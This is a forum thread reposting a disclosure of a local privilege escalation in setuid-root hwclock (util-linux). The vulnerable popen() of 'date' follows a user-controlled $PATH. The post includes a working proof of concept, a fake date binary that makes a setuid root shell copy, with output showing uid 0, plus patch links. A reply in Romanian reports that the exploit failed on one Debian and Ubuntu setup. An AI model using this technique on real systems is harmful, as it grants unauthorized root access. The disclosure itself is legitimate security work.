KhiZaRix Posted May 28, 2015 Report Posted May 28, 2015 Hello,During a recent assessment I have stumbled across a system which hadhwclock(8) setuid roothwclock is a part of util-linux, all versions affected$ man hwclock | sed -n '223,231p'Users access and setuid Sometimes, you need to install hwclock setuid root. If youwant users other than the superuser to be able to display the clockvalue using the direct ISA I/O method, install it setuid root. If you have the /dev/rtcinterface on your system or are on a non-ISA system, there's probablyno need for users to use the direct ISA I/O method, so don't bother. In any case, hwclock will not allow you to set anything unlessyou have the superuser real uid. (This is restriction is notnecessary if you haven't installed setuid root, but it's there for now).http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041"The program is designed to run setuid superuser, since we need to be able to do direct I/O. (More to the point: we need permission to execute the iopl() system call). (However, if you use one of the methods other than direct ISA I/O to access the clock, no setuid is required)."http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920"program is designed to run setuid (in some situations)"Some comments in code and unfortunately also man pageadvertising that setuid is no problem. That's pretty stupid promise.from util-linux/2.26.2-5/sys-utils/hwclock.chttp://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748/* Quotes in date_opt would ruin the date command we construct. */ if (strchr(date_opt, '"') != NULL) { warnx(_ ("The value of the --date option is not a valid date.\n" "In particular, it contains quotation marks.")); return 12; } sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s", date_opt); [...] date_child_fp = popen(date_command, "r"); [...]hwclock uses popen() to date_command which is 'date --date=\"%s\"+seconds-into-epoch=%%s'Exploiting is trivial, since $PATH is user-controlled$ ls -l /usr/sbin/hwclock-rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock$ cat > date.c;gcc date.c -o datemain(){chown("/tmp/sploit", 0, 0);chmod("/tmp/sploit", 04755);}^D$ cp /bin/sh /tmp/sploit$ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"hwclock: The date command issued by hwclock returned unexpected results.The command was: date --date="05/23/2015 20:35:37" +seconds-into-epoch=%sThe response was:hwclock: No usable set-to time. Cannot set clock.$ /tmp/sploit# ideuid=0(root) groups=0(root)*Insert CVE Request here*Notes:Please note that this is possible on Debian-derived (and therefore Ubuntu),because /bin/sh is provided by dash which does NOT make useof privmode (does not drop privileges if ruid != euid, unlike bash),which is a very stupid idea.privmode is surprisingly effective at mitigating some common vulnerabilityclasses and misconfigurations, and it has been around since mid 90's.Indeed, Chet Ramey (bash author and maintainer) explains that thepurpose of this is to prevent "bogus system(3)/popen(3) calls insetuid executables"TL;DR: When setuid root, hwclock relies on $PATH to popen() the datecommand, meaning privilege escalation can occur since $PATH isuser-controlled.Patches are available, signed off by Karel Zak <kzak@redhat.com>https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1Initial bug report:https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804Thanks,Federico Bento.----------------------------------------------------------------This message was sent using IMP, the Internet Messaging Program.Source: http://dl.packetstormsecurity.net/1505-exploits/hwclock-escalate.txt 1 Quote
Ganav Posted May 28, 2015 Report Posted May 28, 2015 L-am incercat si eu pe Debian 7.8/Ubuntu 14.04. Nu merge. Pe aceste sisteme hwclock se gaseste in:/sbin/hwclockiar la rulare:PATH=".:$PATH" /sbin/hwclock --set --date="05/23/2015 20:35:37"hwclock: The date command issued by hwclock returned unexpected results.The command was: date --date="05/23/2015 20:35:37" +seconds-into-epoch=%sThe response was:hwclock: No usable set-to time. Cannot set clock.insa uid-ul si directorul nu au fost schimbate. Quote